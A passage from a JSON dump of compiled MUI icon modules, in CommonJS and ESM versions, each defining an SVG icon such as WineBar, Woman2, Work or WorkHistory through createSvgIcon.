    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3h8v8H3zm10 0h8v8h-8zM3 13h8v8H3zm10 0h8v8h-8z\"\n}), 'WindowSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 13h6v6h-6zm-8 0h6v6H5zm0-8h6v6H5zm8 0h6v6h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}, \"1\")], 'WindowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WindowTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 13h6v6h-6zm-8 0h6v6H5zm0-8h6v6H5zm8 0h6v6h-6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8 16H5v-6h6zm0-8H5V5h6zm8 8h-6v-6h6zm0-8h-6V5h6z\"\n}, \"1\")], 'WindowTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm10 5H8V5h8z\"\n}), 'WineBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm10 5H8V5h8z\"\n}), 'WineBar');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm6 10c-1.86 0-3.41-1.28-3.86-3h7.72c-.45 1.72-2 3-3.86 3m4-5H8V5h8z\"\n}), 'WineBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm6 10c-1.86 0-3.41-1.28-3.86-3h7.72c-.45 1.72-2 3-3.86 3m4-5H8V5h8z\"\n}), 'WineBarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3c-.55 0-1 .45-1 1v5c0 2.97 2.16 5.43 5 5.91V19H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-2v-4.09c2.84-.48 5-2.94 5-5.91V4c0-.55-.45-1-1-1zm9 5H8V5h8z\"\n}), 'WineBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3c-.55 0-1 .45-1 1v5c0 2.97 2.16 5.43 5 5.91V19H9c-.55 0-1 .45-1 1s.45 1 1 1h6c.55 0 1-.45 1-1s-.45-1-1-1h-2v-4.09c2.84-.48 5-2.94 5-5.91V4c0-.55-.45-1-1-1zm9 5H8V5h8z\"\n}), 'WineBarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm10 5H8V5h8z\"\n}), 'WineBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm10 5H8V5h8z\"\n}), 'WineBarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 13c-1.86 0-3.41-1.28-3.86-3h7.72c-.45 1.72-2 3-3.86 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm6 10c-1.86 0-3.41-1.28-3.86-3h7.72c-.45 1.72-2 3-3.86 3m4-5H8V5h8z\"\n}, \"1\")], 'WineBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WineBarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 13c-1.86 0-3.41-1.28-3.86-3h7.72c-.45 1.72-2 3-3.86 3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 3v6c0 2.97 2.16 5.43 5 5.91V19H8v2h8v-2h-3v-4.09c2.84-.48 5-2.94 5-5.91V3zm6 10c-1.86 0-3.41-1.28-3.86-3h7.72c-.45 1.72-2 3-3.86 3m4-5H8V5h8z\"\n}, \"1\")], 'WineBarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 8.31c-.38-.96-1.42-1.52-2.48-1.24-.66.17-1.18.7-1.43 1.34l-2.48 6.22c-.27.66.22 1.37.92 1.37h2.03v5c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-5h2.03c.71 0 1.19-.71.93-1.37z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 8.31c-.38-.96-1.42-1.52-2.48-1.24-.66.17-1.18.7-1.43 1.34l-2.48 6.22c-.27.66.22 1.37.92 1.37h2.03v5c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-5h2.03c.71 0 1.19-.71.93-1.37z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.41 7h-2.82L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.41 7h-2.82L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Woman2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3.5v6h3v-6H17z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'Woman2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'WomanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'WomanOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.45 14.63-2.52-6.32c-.32-.79-1.08-1.3-1.94-1.31-.85 0-1.62.51-1.94 1.31l-2.52 6.32c-.25.66.24 1.37.94 1.37H10v5c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-5h1.53c.7 0 1.19-.71.92-1.37\"\n}, \"1\")], 'WomanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.45 14.63-2.52-6.32c-.32-.79-1.08-1.3-1.94-1.31-.85 0-1.62.51-1.94 1.31l-2.52 6.32c-.25.66.24 1.37.94 1.37H10v5c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-5h1.53c.7 0 1.19-.71.92-1.37\"\n}, \"1\")], 'WomanRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.41 7h-2.82L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'WomanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.41 7h-2.82L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'WomanSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'WomanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WomanTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 8.31C13.62 7.52 12.85 7 12 7s-1.62.52-1.94 1.31L7 16h3v6h4v-6h3z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"1\")], 'WomanTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Work.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-6 0h-4V4h4z\"\n}), 'Work');"
  },
  {
    "path": "packages/mui-icons-material/lib/Work.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 6h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h16c1.11 0 2-.89 2-2V8c0-1.11-.89-2-2-2m-6 0h-4V4h4z\"\n}), 'Work');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistory.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 11c1.49 0 2.87.47 4 1.26V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7m-8-7h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistory');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistory.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11c1.49 0 2.87.47 4 1.26V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.43-.91-.68-1.92-.68-3 0-3.87 3.13-7 7-7m-8-7h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistory');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistoryOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 19V8h16v3.29c.72.22 1.4.54 2 .97V8c0-1.11-.89-2-2-2h-4V4c0-1.11-.89-2-2-2h-4c-1.11 0-2 .89-2 2v2H4c-1.11 0-1.99.89-1.99 2L2 19c0 1.11.89 2 2 2h7.68c-.3-.62-.5-1.29-.6-2zm6-15h4v2h-4z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.65 7.35L17.5 18.2V15h1v2.79l1.85 1.85z\"\n}, \"1\")], 'WorkHistoryOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WorkHistoryOutlined.mjs",
